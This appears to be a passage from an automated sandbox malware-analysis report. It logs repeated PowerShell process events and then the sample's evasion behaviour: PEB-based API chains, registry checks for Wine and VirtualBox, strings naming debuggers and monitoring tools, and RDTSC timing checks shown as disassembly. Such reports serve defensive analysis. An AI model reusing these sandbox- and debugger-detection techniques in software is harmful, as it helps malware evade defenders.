Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, Sleep	graph_6-37085
Source: C:\Users\user\Desktop\file.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess	graph_0-11294
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess	graph_1-9952

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1019252001\8b67fa16f7.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: 8b67fa16f7.exe, 00000030.00000003.2676434059.00000000076E6000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: PROCMON.EXE
Source: 8b67fa16f7.exe, 00000030.00000003.2676434059.00000000076E6000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: X64DBG.EXE
Source: d59846009d.exe, 00000033.00000002.3004074654.00000000037C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: %HSWPESPY.DLLAVGHOOKX.DLLSBIEDLL.DLLSNXHK.DLLVMCHECK.DLLDIR_WATCH.DLLAPI_LOG.DLLPSTOREC.DLLAVGHOOKA.DLLCMDVRT64.DLLCMDVRT32.DLLIMAGE/JPEGCHAININGMODEAESCHAININGMODEGCMABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=UNKNOWN EXCEPTIONBAD ALLOCATION
Source: 8b67fa16f7.exe, 00000030.00000003.2676434059.00000000076E6000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: WINDBG.EXE
Source: 8b67fa16f7.exe, 00000030.00000003.2676434059.00000000076E6000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SYSINTERNALSNUM_PROCESSORNUM_RAMNAMEALLFREEDRIVERSNUM_DISPLAYSRESOLUTION_XRESOLUTION_Y\RECENT_FILESPROCESSESUPTIME_MINUTESC:\WINDOWS\SYSTEM32\VBOX.DLL01VBOX_FIRSTSYSTEM\CONTROLSET001\SERVICES\VBOXSFVBOX_SECONDC:\USERS\PUBLIC\PUBLIC_CHECKWINDBG.EXEDBGWIRESHARK.EXEPROCMON.EXEX64DBG.EXEIDA.EXEDBG_SECDBG_THIRDYADROINSTALLED_APPSSOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALLSOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL%D%S\%SDISPLAYNAMEAPP_NAMEINDEXCREATETOOLHELP32SNAPSHOT FAILED.
Source: 8b67fa16f7.exe, 00000030.00000003.2676434059.00000000076E6000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: WIRESHARK.EXE

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBEF24 second address: CBEF2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FD4352B3D86h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBEF2E second address: CBEF32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4004B second address: E40055 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E40055 second address: E40059 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E40059 second address: E40077 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jnc 00007FD4352B3D88h 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 jc 00007FD4352B3D86h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E40077 second address: E40097 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007FD4352B3917h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4CFD7 second address: E4CFE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD4352B3D8Ch 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4CFE9 second address: E4CFF3 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FD4352B3922h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E50A73 second address: E50A77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E50A77 second address: E50A89 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push esi 0x00000010 pop esi 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E50A89 second address: E50AA3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c jc 00007FD4352B3D94h 0x00000012 push eax 0x00000013 push edx 0x00000014 jnp 00007FD4352B3D86h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E50AA3 second address: E50B7A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a jno 00007FD4352B3914h 0x00000010 pop eax 0x00000011 call 00007FD4352B3913h 0x00000016 jmp 00007FD4352B3910h 0x0000001b pop ecx 0x0000001c push 00000003h 0x0000001e call 00007FD4352B390Dh 0x00000023 mov di, CC39h 0x00000027 pop esi 0x00000028 push 00000000h 0x0000002a sub dword ptr [ebp+122D29D5h], edi 0x00000030 push 00000003h 0x00000032 push 5582A473h 0x00000037 push eax 0x00000038 jmp 00007FD4352B3919h 0x0000003d pop eax 0x0000003e add dword ptr [esp], 6A7D5B8Dh 0x00000045 mov dx, bx 0x00000048 lea ebx, dword ptr [ebp+124658BFh] 0x0000004e push 00000000h 0x00000050 push ecx 0x00000051 call 00007FD4352B3908h 0x00000056 pop ecx 0x00000057 mov dword ptr [esp+04h], ecx 0x0000005b add dword ptr [esp+04h], 00000019h 0x00000063 inc ecx 0x00000064 push ecx 0x00000065 ret 0x00000066 pop ecx 0x00000067 ret 0x00000068 call 00007FD4352B390Bh 0x0000006d adc dx, F0C7h 0x00000072 pop edx 0x00000073 mov dx, ax 0x00000076 mov edx, esi 0x00000078 push eax 0x00000079 push eax 0x0000007a push edx 0x0000007b jng 00007FD4352B390Ch 0x00000081 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E50C03 second address: E50C09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E50C09 second address: E50C4E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b pushad 0x0000000c jmp 00007FD4352B3917h 0x00000011 xor dword ptr [ebp+122D2262h], ecx 0x00000017 popad 0x00000018 push 00000000h 0x0000001a mov dword ptr [ebp+122D2262h], ebx 0x00000020 push 7A8117DFh 0x00000025 jng 00007FD4352B391Ch 0x0000002b push eax 0x0000002c push edx 0x0000002d ja 00007FD4352B3906h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E50C4E second address: E50CD4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4352B3D8Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 7A81175Fh 0x00000010 push 00000003h 0x00000012 jmp 00007FD4352B3D97h 0x00000017 push 00000000h 0x00000019 jmp 00007FD4352B3D8Fh 0x0000001e mov dword ptr [ebp+122D1E49h], edi 0x00000024 push 00000003h 0x00000026 push 00000000h 0x00000028 push eax 0x00000029 call 00007FD4352B3D88h 0x0000002e pop eax 0x0000002f mov dword ptr [esp+04h], eax 0x00000033 add dword ptr [esp+04h], 00000017h 0x0000003b inc eax 0x0000003c push eax 0x0000003d ret 0x0000003e pop eax 0x0000003f ret 0x00000040 mov ecx, 2422FC7Eh 0x00000045 sub dword ptr [ebp+122D36D5h], eax 0x0000004b push 9B7640A2h 0x00000050 pushad 0x00000051 pushad 0x00000052 pushad 0x00000053 popad 0x00000054 pushad 0x00000055 popad 0x00000056 popad 0x00000057 pushad 0x00000058 jng 00007FD4352B3D86h 0x0000005e push eax 0x0000005f push edx 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E50CD4 second address: E50D1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 add dword ptr [esp], 2489BF5Eh 0x0000000d jmp 00007FD4352B390Dh 0x00000012 lea ebx, dword ptr [ebp+124658C8h] 0x00000018 mov dword ptr [ebp+122D1D71h], ecx 0x0000001e xchg eax, ebx 0x0000001f jmp 00007FD4352B3911h 0x00000024 push eax 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007FD4352B390Dh 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E50D84 second address: E50DC6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007FD4352B3D91h 0x0000000e popad 0x0000000f popad 0x00000010 nop 0x00000011 jmp 00007FD4352B3D8Eh 0x00000016 push 00000000h 0x00000018 mov dword ptr [ebp+122D3077h], ecx 0x0000001e push EADFB9F1h 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 jbe 00007FD4352B3D86h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E50DC6 second address: E50DD0 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD4352B3906h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E50DD0 second address: E50E62 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4352B3D94h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 1520468Fh 0x00000010 push 00000000h 0x00000012 push edx 0x00000013 call 00007FD4352B3D88h 0x00000018 pop edx 0x00000019 mov dword ptr [esp+04h], edx 0x0000001d add dword ptr [esp+04h], 00000019h 0x00000025 inc edx 0x00000026 push edx 0x00000027 ret 0x00000028 pop edx 0x00000029 ret 0x0000002a movzx esi, cx 0x0000002d push 00000003h 0x0000002f jmp 00007FD4352B3D8Bh 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push edx 0x00000039 call 00007FD4352B3D88h 0x0000003e pop edx 0x0000003f mov dword ptr [esp+04h], edx 0x00000043 add dword ptr [esp+04h], 00000015h 0x0000004b inc edx 0x0000004c push edx 0x0000004d ret 0x0000004e pop edx 0x0000004f ret 0x00000050 mov dword ptr [ebp+122D1E57h], ebx 0x00000056 jmp 00007FD4352B3D90h 0x0000005b push 00000003h 0x0000005d cld 0x0000005e push 5FC1AE80h 0x00000063 pushad 0x00000064 push eax 0x00000065 push edx 0x00000066 pushad 0x00000067 popad 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E71128 second address: E71136 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4352B390Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E71136 second address: E7116B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD4352B3D97h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FD4352B3D8Bh 0x0000000e jmp 00007FD4352B3D8Fh 0x00000013 rdtsc
